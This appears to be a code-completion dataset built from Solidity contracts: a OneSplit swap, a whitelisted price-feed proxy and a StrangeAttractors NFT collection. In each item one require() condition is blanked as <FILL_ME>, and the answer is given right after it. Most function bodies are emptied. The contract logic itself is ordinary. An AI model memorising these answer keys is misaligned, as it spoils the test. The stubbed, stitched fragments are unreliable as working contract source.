flags (uint256[]) Flags for enabling and disabling some features, default 0 /// @param referral (address) Address of referral /// @param feePercent (uint256) Fees percents normalized to 1e18, limited to 0.03e18 (3%) function swapWithReferralMulti( IERC20[] memory tokens, uint256 amount, uint256 minReturn, uint256[] memory distribution, uint256[] memory flags, address referral, uint256 feePercent ) public payable returns(uint256 returnAmount) { require(tokens.length >= 2 && amount > 0, "OneSplit: swap makes no sense"); require(flags.length == tokens.length - 1, "OneSplit: flags array length is invalid"); require(<FILL_ME>) require(feePercent <= 0.03e18, "OneSplit: feePercent out of range"); uint256 gasStart = gasleft(); Balances memory beforeBalances = _getFirstAndLastBalances(tokens); // Transfer From tokens.first().universalTransferFromSenderToThis(amount); uint256 confirmed = tokens.first().universalBalanceOf(address(this)).sub(beforeBalances.ofFromToken); // Swap tokens.first().universalApprove(address(oneSplitImpl), confirmed); oneSplitImpl.swapMulti.value(tokens.first().isETH() ? confirmed : 0)( tokens, confirmed, minReturn, distribution, flags ); Balances memory afterBalances = _getFirstAndLastBalances(tokens); // Return returnAmount = uint256(afterBalances.ofDestToken).sub(beforeBalances.ofDestToken); require(returnAmount >= minReturn, "OneSplit: actual return amount is less than minReturn"); tokens.last().universalTransfer(referral, returnAmount.mul(feePercent).div(1e18)); tokens.last().universalTransfer(msg.sender, returnAmount.sub(returnAmount.mul(feePercent).div(1e18))); emit Swapped( tokens.first(), tokens.last(), amount, returnAmount, minReturn, distribution, flags, referral, feePercent ); // Return remainder if (afterBalances.ofFromToken > beforeBalances.ofFromToken) { tokens.first().universalTransfer(msg.sender, uint256(afterBalances.ofFromToken).sub(beforeBalances.ofFromToken)); } if ((flags[0] & (FLAG_ENABLE_CHI_BURN | FLAG_ENABLE_CHI_BURN_BY_ORIGIN)) > 0) { uint256 gasSpent = 21000 + gasStart - gasleft() + 16 * msg.data.length; _chiBurnOrSell( ((flags[0] & FLAG_ENABLE_CHI_BURN_BY_ORIGIN) > 0) ? tx.origin : msg.sender, (gasSpent + 14154) / 41947 ); } else if ((flags[0] & FLAG_ENABLE_REFERRAL_GAS_SPONSORSHIP) > 0) { uint256 gasSpent = 21000 + gasStart - gasleft() + 16 * msg.data.length; IReferralGasSponsor(referral).makeGasDiscount(gasSpent, returnAmount, msg.data); } } function claimAsset(IERC20 asset, uint256 amount) public onlyOwner { } function _chiBurnOrSell(address payable sponsor, uint256 amount) internal { } struct Balances { uint128 ofFromToken; uint128 ofDestToken; } function _getFirstAndLastBalances(IERC20[] memory tokens) internal view returns(Balances memory) { } }
(msg.value!=0)==tokens.first().isETH(),"OneSplit: msg.value should be used only for ETH swap"
379,631
(msg.value!=0)==tokens.first().isETH()
"Not whitelisted"
pragma solidity 0.6.2; /** * @title The Owned contract * @notice A contract with helpers for basic contract ownership. */ contract Owned { address payable public owner; address private pendingOwner; event OwnershipTransferRequested( address indexed from, address indexed to ); event OwnershipTransfered( address indexed from, address indexed to ); constructor() public { } /** * @dev Allows an owner to begin transferring ownership to a new address, * pending. */ function transferOwnership(address _to) external onlyOwner() { } /** * @dev Allows an ownership transfer to be completed by the recipient. */ function acceptOwnership() external { } /** * @dev Reverts if called by anyone other than the contract owner. */ modifier onlyOwner() { } } interface AggregatorInterface { function latestAnswer() external view returns (int256); function latestTimestamp() external view returns (uint256); function latestRound() external view returns (uint256); function getAnswer(uint256 roundId) external view returns (int256); function getTimestamp(uint256 roundId) external view returns (uint256); function decimals() external view returns (uint8); event AnswerUpdated(int256 indexed current, uint256 indexed roundId, uint256 timestamp); event NewRound(uint256 indexed roundId, address indexed startedBy, uint256 startedAt); } /** * @title A trusted proxy for updating where current answers are read from * @notice This contract provides a consistent address for the * CurrentAnwerInterface but delegates where it reads from to the owner, who is * trusted to update it. */ contract AggregatorProxy is AggregatorInterface, Owned { AggregatorInterface public aggregator; constructor(address _aggregator) public Owned() { } /** * @notice Reads the current answer from aggregator delegated to. */ function latestAnswer() external view virtual override returns (int256) { } /** * @notice Reads the last updated height from aggregator delegated to. */ function latestTimestamp() external view virtual override returns (uint256) { } /** * @notice get past rounds answers * @param _roundId the answer number to retrieve the answer for */ function getAnswer(uint256 _roundId) external view virtual override returns (int256) { } /** * @notice get block timestamp when an answer was last updated * @param _roundId the answer number to retrieve the updated timestamp for */ function getTimestamp(uint256 _roundId) external view virtual override returns (uint256) { } /** * @notice get the latest completed round where the answer was updated */ function latestRound() external view virtual override returns (uint256) { } /** * @notice represents the number of decimals the aggregator responses represent. */ function decimals() external view override returns (uint8) { } /** * @notice Allows the owner to update the aggregator address. * @param _aggregator The new address for the aggregator contract */ function setAggregator(address _aggregator) public onlyOwner() { } /* * Internal */ function _latestAnswer() internal view returns (int256) { } function _latestTimestamp() internal view returns (uint256) { } function _getAnswer(uint256 _roundId) internal view returns (int256) { } function _getTimestamp(uint256 _roundId) internal view returns (uint256) { } function _latestRound() internal view returns (uint256) { } } /** * @title Whitelisted * @notice Allows the owner to add and remove addresses from a whitelist */ contract Whitelisted is Owned { bool public whitelistEnabled; mapping(address => bool) public whitelisted; event AddedToWhitelist(address user); event RemovedFromWhitelist(address user); event WhitelistEnabled(); event WhitelistDisabled(); constructor() public { } /** * @notice Adds an address to the whitelist * @param _user The address to whitelist */ function addToWhitelist(address _user) external onlyOwner() { } /** * @notice Removes an address from the whitelist * @param _user The address to remove */ function removeFromWhitelist(address _user) external onlyOwner() { } /** * @notice makes the whitelist check enforced */ function enableWhitelist() external onlyOwner() { } /** * @notice makes the whitelist check unenforced */ function disableWhitelist() external onlyOwner() { } /** * @dev reverts if the caller is not whitelisted */ modifier isWhitelisted() { require(<FILL_ME>) _; } } /** * @title A trusted proxy for updating where current answers are read from * @notice This contract provides a consistent address for the * AggregatorInterface but delegates where it reads from to the owner, who is * trusted to update it. * @notice Only whitelisted addresses are allowed to access getters for * aggregated answers and round information. */ contract WhitelistedAggregatorProxy is AggregatorProxy, Whitelisted { constructor(address _aggregator) public AggregatorProxy(_aggregator) { } /** * @notice Reads the current answer from aggregator delegated to. * @dev overridden function to add the isWhitelisted() modifier */ function latestAnswer() external view override isWhitelisted() returns (int256) { } /** * @notice Reads the last updated height from aggregator delegated to. * @dev overridden function to add the isWhitelisted() modifier */ function latestTimestamp() external view override isWhitelisted() returns (uint256) { } /** * @notice get past rounds answers * @param _roundId the answer number to retrieve the answer for * @dev overridden function to add the isWhitelisted() modifier */ function getAnswer(uint256 _roundId) external view override isWhitelisted() returns (int256) { } /** * @notice get block timestamp when an answer was last updated * @param _roundId the answer number to retrieve the updated timestamp for * @dev overridden function to add the isWhitelisted() modifier */ function getTimestamp(uint256 _roundId) external view override isWhitelisted() returns (uint256) { } /** * @notice get the latest completed round where the answer was updated * @dev overridden function to add the isWhitelisted() modifier */ function latestRound() external view override isWhitelisted() returns (uint256) { } }
whitelisted[msg.sender]||!whitelistEnabled,"Not whitelisted"
379,683
whitelisted[msg.sender]||!whitelistEnabled
"System locked"
// SPDX-License-Identifier: UNLICENSED // Copyright 2021 David Huber (@cxkoda) // All Rights Reserved pragma solidity >=0.8.0 <0.9.0; import "./solvers/IAttractorSolver.sol"; import "./renderers/ISvgRenderer.sol"; import "./utils/BaseOpenSea.sol"; import "./utils/ERC2981SinglePercentual.sol"; import "./utils/SignedSlotRestrictable.sol"; import "./utils/ColorMixer.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/PullPayment.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; /** * @notice Fully on-chain interactive NFT project performing numerical * simulations of chaotic, multi-dimensional _systems. * @dev This contract implements tokenonmics of the project, conforming to the * ERC721 and ERC2981 standard. * @author David Huber (@cxkoda) */ contract StrangeAttractors is BaseOpenSea, SignedSlotRestrictable, ERC2981SinglePercentual, ERC721Enumerable, Ownable, PullPayment { /** * @notice Maximum number of editions per system. */ uint8 private constant MAX_PER_SYSTEM = 128; /** * @notice Max number that the contract owner can mint in a specific system. * @dev The contract assumes that the owner mints the first pieces. */ uint8 private constant OWNER_ALLOCATION = 2; /** * @notice Mint price */ uint256 public constant MINT_PRICE = (35 ether) / 100; /** * @notice Contains the configuration of a given _systems in the collection. */ struct AttractorSystem { string description; uint8 numLeftForMint; bool locked; ISvgRenderer renderer; uint8 defaultRenderSize; uint32[] defaultColorAnchors; IAttractorSolver solver; SolverParameters solverParameters; } /** * @notice Systems in the collection. * @dev Convention: The first system is the fullset system. */ AttractorSystem[] private _systems; /** * @notice Token configuration */ struct Token { uint8 systemId; bool usedForFullsetToken; bool useDefaultColors; bool useDefaultProjection; uint8 renderSize; uint256 randomSeed; ProjectionParameters projectionParameters; uint32[] colorAnchors; } /** * @notice All existing _tokens * @dev Maps tokenId => token configuration */ mapping(uint256 => Token) private _tokens; // ------------------------------------------------------------------------- // // Collection setup // // ------------------------------------------------------------------------- /** * @notice Contract constructor * @dev Sets the owner as default 10% royalty receiver. */ constructor( string memory name, string memory symbol, address slotSigner, address openSeaProxyRegistry ) ERC721(name, symbol) { } /** * @notice Adds a new attractor system to the collection * @dev This is used to set up the collection after contract deployment. * If `systemId` is a valid ID, the corresponding, existing system will * be overwritten. Otherwise a new system will be added. * Further system modification is prevented if the system is locked. * Both adding and modifying were merged in this single method to avoid * hitting the contract size limit. */ function newAttractorSystem( string calldata description, address solver, SolverParameters calldata solverParameters, address renderer, uint32[] calldata defaultColorAnchors, uint8 defaultRenderSize, uint256 systemId ) external onlyOwner { AttractorSystem memory system = AttractorSystem({ numLeftForMint: MAX_PER_SYSTEM, description: description, locked: false, solver: IAttractorSolver(solver), solverParameters: solverParameters, renderer: ISvgRenderer(renderer), defaultColorAnchors: defaultColorAnchors, defaultRenderSize: defaultRenderSize }); if (systemId < _systems.length) { require(<FILL_ME>) system.numLeftForMint = _systems[systemId].numLeftForMint; _systems[systemId] = system; } else { _systems.push(system); } } /** * @notice Locks a system against further modifications. */ function lockSystem(uint8 systemId) external onlyOwner { } // ------------------------------------------------------------------------- // // Minting // // ------------------------------------------------------------------------- function setSlotSigner(address signer) external onlyOwner { } /** * @notice Enable or disable the slot restriction for minting. */ function setSlotRestriction(bool enabled) external onlyOwner { } /** * @notice Interface to mint the remaining owner allocated pieces. * @dev This has to be executed before anyone else has minted. */ function safeMintOwner() external onlyOwner { } /** * @notice Mint interface for regular users. * @dev Mints one edition piece from a randomly selected system. The * The probability to mint a given system is proportional to the available * editions. */ function safeMintRegularToken(uint256 nonce, bytes calldata signature) external payable { } /** * @notice Interface to mint a special token for fullset holders. * @dev The sender needs to supply one unused token of every regular * system. */ function safeMintFullsetToken(uint256[4] calldata tokenIds) external onlyApprovedOrOwner(tokenIds[0]) onlyApprovedOrOwner(tokenIds[1]) onlyApprovedOrOwner(tokenIds[2]) onlyApprovedOrOwner(tokenIds[3]) { } /** * @notice Flag for enabling fullset token minting. */ bool public isFullsetMintEnabled = false; /** * @notice Toggles the ability to mint fullset _tokens. */ function enableFullsetMint(bool enable) external onlyOwner { } /** * @dev Mints the next token in the system. */ function _safeMintInAttractor(uint8 systemId) internal returns (uint256 tokenId) { } /** * @notice Defines the system prefix in the `tokenId`. * @dev Convention: The `tokenId` will be given by * `edition + _tokenIdSystemMultiplier * systemId` */ uint256 private constant _tokenIdSystemMultiplier = 1e3; /** * @notice Retrieves the `systemId` from a given `tokenId`. */ function _getTokenSystemId(uint256 tokenId) internal pure returns (uint8) { } /** * @notice Retrieves the `edition` from a given `tokenId`. */ function _getTokenEdition(uint256 tokenId) internal pure returns (uint8) { } /** * @notice Draw a pseudo-random number. * @dev Although the drawing can be manipulated with this implementation, * it is sufficiently fair for the given purpose. * Multiple evaluations on the same block with the same `modSeed` from the * same sender will yield the same random numbers. */ function _random(uint256 modSeed) internal view returns (uint256) { } /** * @notice Re-draw a _tokens `randomSeed`. * @dev This is implemented as a last resort if a _tokens `randomSeed` * produces starting values that do not converge to the attractor. * Although this never happened while testing, you never know for sure * with random numbers. */ function rerollTokenRandomSeed(uint256 tokenId) external onlyOwner { } // ------------------------------------------------------------------------- // // Rendering // // ------------------------------------------------------------------------- /** * @notice Assembles the name of a token * @dev Composed of the system name provided by the solver and the tokens * edition number. The returned string has been escapted for usage in * data-uris. */ function getTokenName(uint256 tokenId) public view returns (string memory) { } /** * @notice Renders a given token with externally supplied parameters. * @return The svg string. */ function renderWithConfig( uint256 tokenId, ProjectionParameters memory projectionParameters, uint32[] memory colorAnchors, uint8 renderSize ) public view returns (string memory) { } /** * @notice Returns the `ProjectionParameters` for a given token. * @dev Checks if default settings are used and computes them if needed. */ function getProjectionParameters(uint256 tokenId) public view returns (ProjectionParameters memory) { } /** * @notice Returns the `colormap` for a given token. * @dev Checks if default settings are used and retrieves them if needed. */ function getColorAnchors(uint256 tokenId) public view returns (uint32[] memory colormap) { } /** * @notice Returns data URI of token metadata. * @dev The output conforms to the Opensea attributes metadata standard. */ function tokenURI(uint256 tokenId) public view override returns (string memory) { } // ------------------------------------------------------------------------- // // Token interaction // // ------------------------------------------------------------------------- /** * @notice Set the projection parameters for a given token. */ function setProjectionParameters( uint256 tokenId, ProjectionParameters calldata projectionParameters ) external onlyApprovedOrOwner(tokenId) { } /** * @notice Set or reset the color anchors for a given token. * @dev To revert to the _systems default, `colorAnchors` has to be empty. * On own method for resetting was omitted to remain below the contract size * limit. * See `ColorMixer` for more details on the color system. */ function setColorAnchors(uint256 tokenId, uint32[] calldata colorAnchors) external onlyApprovedOrOwner(tokenId) { } /** * @notice Set the rendersize for a given token. */ function setRenderSize(uint256 tokenId, uint8 renderSize) external onlyApprovedOrOwner(tokenId) { } /** * @notice Reset various rendering parameters for a given token. * @dev Setting the individual flag to true resets the associated parameters. */ function resetRenderParameters( uint256 tokenId, bool resetProjectionParameters, bool resetColorAnchors, bool resetRenderSize ) external onlyApprovedOrOwner(tokenId) { } // ------------------------------------------------------------------------- // // External getters, metadata and steering // // ------------------------------------------------------------------------- /** * @notice Retrieve a system with a given ID. * @dev This was necessay because for some reason the default public getter * does not return `defaultColorAnchors` correctly. */ function systems(uint8 systemId) external view returns (AttractorSystem memory) { } /** * @notice Retrieve a token with a given ID. * @dev This was necessay because for some reason the default public getter * does not return `colorAnchors` correctly. */ function tokens(uint256 tokenId) external view returns (Token memory) { } /** * @dev Sets the royalty percentage (in units of 0.01%) */ function setRoyaltyPercentage(uint256 percentage) external onlyOwner { } /** * @dev Sets the address to receive the royalties */ function setRoyaltyReceiver(address receiver) external onlyOwner { } // ------------------------------------------------------------------------- // // Internal stuff // // ------------------------------------------------------------------------- /** * @dev Approves the opensea proxy for token transfers. */ function isApprovedForAll(address owner, address operator) public view override returns (bool) { } function supportsInterface(bytes4 interfaceId) public view override(ERC721Enumerable, ERC2981) returns (bool) { } modifier onlyApprovedOrOwner(uint256 tokenId) { } }
!_systems[systemId].locked,"System locked"
379,817
!_systems[systemId].locked
"Token already used."
// SPDX-License-Identifier: UNLICENSED // Copyright 2021 David Huber (@cxkoda) // All Rights Reserved pragma solidity >=0.8.0 <0.9.0; import "./solvers/IAttractorSolver.sol"; import "./renderers/ISvgRenderer.sol"; import "./utils/BaseOpenSea.sol"; import "./utils/ERC2981SinglePercentual.sol"; import "./utils/SignedSlotRestrictable.sol"; import "./utils/ColorMixer.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/PullPayment.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; /** * @notice Fully on-chain interactive NFT project performing numerical * simulations of chaotic, multi-dimensional _systems. * @dev This contract implements tokenonmics of the project, conforming to the * ERC721 and ERC2981 standard. * @author David Huber (@cxkoda) */ contract StrangeAttractors is BaseOpenSea, SignedSlotRestrictable, ERC2981SinglePercentual, ERC721Enumerable, Ownable, PullPayment { /** * @notice Maximum number of editions per system. */ uint8 private constant MAX_PER_SYSTEM = 128; /** * @notice Max number that the contract owner can mint in a specific system. * @dev The contract assumes that the owner mints the first pieces. */ uint8 private constant OWNER_ALLOCATION = 2; /** * @notice Mint price */ uint256 public constant MINT_PRICE = (35 ether) / 100; /** * @notice Contains the configuration of a given _systems in the collection. */ struct AttractorSystem { string description; uint8 numLeftForMint; bool locked; ISvgRenderer renderer; uint8 defaultRenderSize; uint32[] defaultColorAnchors; IAttractorSolver solver; SolverParameters solverParameters; } /** * @notice Systems in the collection. * @dev Convention: The first system is the fullset system. */ AttractorSystem[] private _systems; /** * @notice Token configuration */ struct Token { uint8 systemId; bool usedForFullsetToken; bool useDefaultColors; bool useDefaultProjection; uint8 renderSize; uint256 randomSeed; ProjectionParameters projectionParameters; uint32[] colorAnchors; } /** * @notice All existing _tokens * @dev Maps tokenId => token configuration */ mapping(uint256 => Token) private _tokens; // ------------------------------------------------------------------------- // // Collection setup // // ------------------------------------------------------------------------- /** * @notice Contract constructor * @dev Sets the owner as default 10% royalty receiver. */ constructor( string memory name, string memory symbol, address slotSigner, address openSeaProxyRegistry ) ERC721(name, symbol) { } /** * @notice Adds a new attractor system to the collection * @dev This is used to set up the collection after contract deployment. * If `systemId` is a valid ID, the corresponding, existing system will * be overwritten. Otherwise a new system will be added. * Further system modification is prevented if the system is locked. * Both adding and modifying were merged in this single method to avoid * hitting the contract size limit. */ function newAttractorSystem( string calldata description, address solver, SolverParameters calldata solverParameters, address renderer, uint32[] calldata defaultColorAnchors, uint8 defaultRenderSize, uint256 systemId ) external onlyOwner { } /** * @notice Locks a system against further modifications. */ function lockSystem(uint8 systemId) external onlyOwner { } // ------------------------------------------------------------------------- // // Minting // // ------------------------------------------------------------------------- function setSlotSigner(address signer) external onlyOwner { } /** * @notice Enable or disable the slot restriction for minting. */ function setSlotRestriction(bool enabled) external onlyOwner { } /** * @notice Interface to mint the remaining owner allocated pieces. * @dev This has to be executed before anyone else has minted. */ function safeMintOwner() external onlyOwner { } /** * @notice Mint interface for regular users. * @dev Mints one edition piece from a randomly selected system. The * The probability to mint a given system is proportional to the available * editions. */ function safeMintRegularToken(uint256 nonce, bytes calldata signature) external payable { } /** * @notice Interface to mint a special token for fullset holders. * @dev The sender needs to supply one unused token of every regular * system. */ function safeMintFullsetToken(uint256[4] calldata tokenIds) external onlyApprovedOrOwner(tokenIds[0]) onlyApprovedOrOwner(tokenIds[1]) onlyApprovedOrOwner(tokenIds[2]) onlyApprovedOrOwner(tokenIds[3]) { require(isFullsetMintEnabled, "Fullset mint is disabled."); bool[4] memory containsSystem = [false, false, false, false]; for (uint256 idx = 0; idx < 4; ++idx) { // Check if already used require(<FILL_ME>) // Set an ok flag if a given system was found containsSystem[_getTokenSystemId(tokenIds[idx]) - 1] = true; // Mark as used _tokens[tokenIds[idx]].usedForFullsetToken = true; } // Check if all _systems are present require( containsSystem[0] && containsSystem[1] && containsSystem[2] && containsSystem[3], "Tokens of each system required" ); uint256 tokenId = _safeMintInAttractor(0); // Although we technically don't need to set this flag onr the fullset // system, let's set it anyways to display the correct value in // `tokenURI`. _tokens[tokenId].usedForFullsetToken = true; } /** * @notice Flag for enabling fullset token minting. */ bool public isFullsetMintEnabled = false; /** * @notice Toggles the ability to mint fullset _tokens. */ function enableFullsetMint(bool enable) external onlyOwner { } /** * @dev Mints the next token in the system. */ function _safeMintInAttractor(uint8 systemId) internal returns (uint256 tokenId) { } /** * @notice Defines the system prefix in the `tokenId`. * @dev Convention: The `tokenId` will be given by * `edition + _tokenIdSystemMultiplier * systemId` */ uint256 private constant _tokenIdSystemMultiplier = 1e3; /** * @notice Retrieves the `systemId` from a given `tokenId`. */ function _getTokenSystemId(uint256 tokenId) internal pure returns (uint8) { } /** * @notice Retrieves the `edition` from a given `tokenId`. */ function _getTokenEdition(uint256 tokenId) internal pure returns (uint8) { } /** * @notice Draw a pseudo-random number. * @dev Although the drawing can be manipulated with this implementation, * it is sufficiently fair for the given purpose. * Multiple evaluations on the same block with the same `modSeed` from the * same sender will yield the same random numbers. */ function _random(uint256 modSeed) internal view returns (uint256) { } /** * @notice Re-draw a _tokens `randomSeed`. * @dev This is implemented as a last resort if a _tokens `randomSeed` * produces starting values that do not converge to the attractor. * Although this never happened while testing, you never know for sure * with random numbers. */ function rerollTokenRandomSeed(uint256 tokenId) external onlyOwner { } // ------------------------------------------------------------------------- // // Rendering // // ------------------------------------------------------------------------- /** * @notice Assembles the name of a token * @dev Composed of the system name provided by the solver and the tokens * edition number. The returned string has been escapted for usage in * data-uris. */ function getTokenName(uint256 tokenId) public view returns (string memory) { } /** * @notice Renders a given token with externally supplied parameters. * @return The svg string. */ function renderWithConfig( uint256 tokenId, ProjectionParameters memory projectionParameters, uint32[] memory colorAnchors, uint8 renderSize ) public view returns (string memory) { } /** * @notice Returns the `ProjectionParameters` for a given token. * @dev Checks if default settings are used and computes them if needed. */ function getProjectionParameters(uint256 tokenId) public view returns (ProjectionParameters memory) { } /** * @notice Returns the `colormap` for a given token. * @dev Checks if default settings are used and retrieves them if needed. */ function getColorAnchors(uint256 tokenId) public view returns (uint32[] memory colormap) { } /** * @notice Returns data URI of token metadata. * @dev The output conforms to the Opensea attributes metadata standard. */ function tokenURI(uint256 tokenId) public view override returns (string memory) { } // ------------------------------------------------------------------------- // // Token interaction // // ------------------------------------------------------------------------- /** * @notice Set the projection parameters for a given token. */ function setProjectionParameters( uint256 tokenId, ProjectionParameters calldata projectionParameters ) external onlyApprovedOrOwner(tokenId) { } /** * @notice Set or reset the color anchors for a given token. * @dev To revert to the _systems default, `colorAnchors` has to be empty. * On own method for resetting was omitted to remain below the contract size * limit. * See `ColorMixer` for more details on the color system. */ function setColorAnchors(uint256 tokenId, uint32[] calldata colorAnchors) external onlyApprovedOrOwner(tokenId) { } /** * @notice Set the rendersize for a given token. */ function setRenderSize(uint256 tokenId, uint8 renderSize) external onlyApprovedOrOwner(tokenId) { } /** * @notice Reset various rendering parameters for a given token. * @dev Setting the individual flag to true resets the associated parameters. */ function resetRenderParameters( uint256 tokenId, bool resetProjectionParameters, bool resetColorAnchors, bool resetRenderSize ) external onlyApprovedOrOwner(tokenId) { } // ------------------------------------------------------------------------- // // External getters, metadata and steering // // ------------------------------------------------------------------------- /** * @notice Retrieve a system with a given ID. * @dev This was necessay because for some reason the default public getter * does not return `defaultColorAnchors` correctly. */ function systems(uint8 systemId) external view returns (AttractorSystem memory) { } /** * @notice Retrieve a token with a given ID. * @dev This was necessay because for some reason the default public getter * does not return `colorAnchors` correctly. */ function tokens(uint256 tokenId) external view returns (Token memory) { } /** * @dev Sets the royalty percentage (in units of 0.01%) */ function setRoyaltyPercentage(uint256 percentage) external onlyOwner { } /** * @dev Sets the address to receive the royalties */ function setRoyaltyReceiver(address receiver) external onlyOwner { } // ------------------------------------------------------------------------- // // Internal stuff // // ------------------------------------------------------------------------- /** * @dev Approves the opensea proxy for token transfers. */ function isApprovedForAll(address owner, address operator) public view override returns (bool) { } function supportsInterface(bytes4 interfaceId) public view override(ERC721Enumerable, ERC2981) returns (bool) { } modifier onlyApprovedOrOwner(uint256 tokenId) { } }
!_tokens[tokenIds[idx]].usedForFullsetToken,"Token already used."
379,817
!_tokens[tokenIds[idx]].usedForFullsetToken
"Tokens of each system required"
// SPDX-License-Identifier: UNLICENSED // Copyright 2021 David Huber (@cxkoda) // All Rights Reserved pragma solidity >=0.8.0 <0.9.0; import "./solvers/IAttractorSolver.sol"; import "./renderers/ISvgRenderer.sol"; import "./utils/BaseOpenSea.sol"; import "./utils/ERC2981SinglePercentual.sol"; import "./utils/SignedSlotRestrictable.sol"; import "./utils/ColorMixer.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/PullPayment.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; /** * @notice Fully on-chain interactive NFT project performing numerical * simulations of chaotic, multi-dimensional _systems. * @dev This contract implements tokenonmics of the project, conforming to the * ERC721 and ERC2981 standard. * @author David Huber (@cxkoda) */ contract StrangeAttractors is BaseOpenSea, SignedSlotRestrictable, ERC2981SinglePercentual, ERC721Enumerable, Ownable, PullPayment { /** * @notice Maximum number of editions per system. */ uint8 private constant MAX_PER_SYSTEM = 128; /** * @notice Max number that the contract owner can mint in a specific system. * @dev The contract assumes that the owner mints the first pieces. */ uint8 private constant OWNER_ALLOCATION = 2; /** * @notice Mint price */ uint256 public constant MINT_PRICE = (35 ether) / 100; /** * @notice Contains the configuration of a given _systems in the collection. */ struct AttractorSystem { string description; uint8 numLeftForMint; bool locked; ISvgRenderer renderer; uint8 defaultRenderSize; uint32[] defaultColorAnchors; IAttractorSolver solver; SolverParameters solverParameters; } /** * @notice Systems in the collection. * @dev Convention: The first system is the fullset system. */ AttractorSystem[] private _systems; /** * @notice Token configuration */ struct Token { uint8 systemId; bool usedForFullsetToken; bool useDefaultColors; bool useDefaultProjection; uint8 renderSize; uint256 randomSeed; ProjectionParameters projectionParameters; uint32[] colorAnchors; } /** * @notice All existing _tokens * @dev Maps tokenId => token configuration */ mapping(uint256 => Token) private _tokens; // ------------------------------------------------------------------------- // // Collection setup // // ------------------------------------------------------------------------- /** * @notice Contract constructor * @dev Sets the owner as default 10% royalty receiver. */ constructor( string memory name, string memory symbol, address slotSigner, address openSeaProxyRegistry ) ERC721(name, symbol) { } /** * @notice Adds a new attractor system to the collection * @dev This is used to set up the collection after contract deployment. * If `systemId` is a valid ID, the corresponding, existing system will * be overwritten. Otherwise a new system will be added. * Further system modification is prevented if the system is locked. * Both adding and modifying were merged in this single method to avoid * hitting the contract size limit. */ function newAttractorSystem( string calldata description, address solver, SolverParameters calldata solverParameters, address renderer, uint32[] calldata defaultColorAnchors, uint8 defaultRenderSize, uint256 systemId ) external onlyOwner { } /** * @notice Locks a system against further modifications. */ function lockSystem(uint8 systemId) external onlyOwner { } // ------------------------------------------------------------------------- // // Minting // // ------------------------------------------------------------------------- function setSlotSigner(address signer) external onlyOwner { } /** * @notice Enable or disable the slot restriction for minting. */ function setSlotRestriction(bool enabled) external onlyOwner { } /** * @notice Interface to mint the remaining owner allocated pieces. * @dev This has to be executed before anyone else has minted. */ function safeMintOwner() external onlyOwner { } /** * @notice Mint interface for regular users. * @dev Mints one edition piece from a randomly selected system. The * The probability to mint a given system is proportional to the available * editions. */ function safeMintRegularToken(uint256 nonce, bytes calldata signature) external payable { } /** * @notice Interface to mint a special token for fullset holders. * @dev The sender needs to supply one unused token of every regular * system. */ function safeMintFullsetToken(uint256[4] calldata tokenIds) external onlyApprovedOrOwner(tokenIds[0]) onlyApprovedOrOwner(tokenIds[1]) onlyApprovedOrOwner(tokenIds[2]) onlyApprovedOrOwner(tokenIds[3]) { require(isFullsetMintEnabled, "Fullset mint is disabled."); bool[4] memory containsSystem = [false, false, false, false]; for (uint256 idx = 0; idx < 4; ++idx) { // Check if already used require( !_tokens[tokenIds[idx]].usedForFullsetToken, "Token already used." ); // Set an ok flag if a given system was found containsSystem[_getTokenSystemId(tokenIds[idx]) - 1] = true; // Mark as used _tokens[tokenIds[idx]].usedForFullsetToken = true; } // Check if all _systems are present require(<FILL_ME>) uint256 tokenId = _safeMintInAttractor(0); // Although we technically don't need to set this flag onr the fullset // system, let's set it anyways to display the correct value in // `tokenURI`. _tokens[tokenId].usedForFullsetToken = true; } /** * @notice Flag for enabling fullset token minting. */ bool public isFullsetMintEnabled = false; /** * @notice Toggles the ability to mint fullset _tokens. */ function enableFullsetMint(bool enable) external onlyOwner { } /** * @dev Mints the next token in the system. */ function _safeMintInAttractor(uint8 systemId) internal returns (uint256 tokenId) { } /** * @notice Defines the system prefix in the `tokenId`. * @dev Convention: The `tokenId` will be given by * `edition + _tokenIdSystemMultiplier * systemId` */ uint256 private constant _tokenIdSystemMultiplier = 1e3; /** * @notice Retrieves the `systemId` from a given `tokenId`. */ function _getTokenSystemId(uint256 tokenId) internal pure returns (uint8) { } /** * @notice Retrieves the `edition` from a given `tokenId`. */ function _getTokenEdition(uint256 tokenId) internal pure returns (uint8) { } /** * @notice Draw a pseudo-random number. * @dev Although the drawing can be manipulated with this implementation, * it is sufficiently fair for the given purpose. * Multiple evaluations on the same block with the same `modSeed` from the * same sender will yield the same random numbers. */ function _random(uint256 modSeed) internal view returns (uint256) { } /** * @notice Re-draw a _tokens `randomSeed`. * @dev This is implemented as a last resort if a _tokens `randomSeed` * produces starting values that do not converge to the attractor. * Although this never happened while testing, you never know for sure * with random numbers. */ function rerollTokenRandomSeed(uint256 tokenId) external onlyOwner { } // ------------------------------------------------------------------------- // // Rendering // // ------------------------------------------------------------------------- /** * @notice Assembles the name of a token * @dev Composed of the system name provided by the solver and the tokens * edition number. The returned string has been escapted for usage in * data-uris. */ function getTokenName(uint256 tokenId) public view returns (string memory) { } /** * @notice Renders a given token with externally supplied parameters. * @return The svg string. */ function renderWithConfig( uint256 tokenId, ProjectionParameters memory projectionParameters, uint32[] memory colorAnchors, uint8 renderSize ) public view returns (string memory) { } /** * @notice Returns the `ProjectionParameters` for a given token. * @dev Checks if default settings are used and computes them if needed. */ function getProjectionParameters(uint256 tokenId) public view returns (ProjectionParameters memory) { } /** * @notice Returns the `colormap` for a given token. * @dev Checks if default settings are used and retrieves them if needed. */ function getColorAnchors(uint256 tokenId) public view returns (uint32[] memory colormap) { } /** * @notice Returns data URI of token metadata. * @dev The output conforms to the Opensea attributes metadata standard. */ function tokenURI(uint256 tokenId) public view override returns (string memory) { } // ------------------------------------------------------------------------- // // Token interaction // // ------------------------------------------------------------------------- /** * @notice Set the projection parameters for a given token. 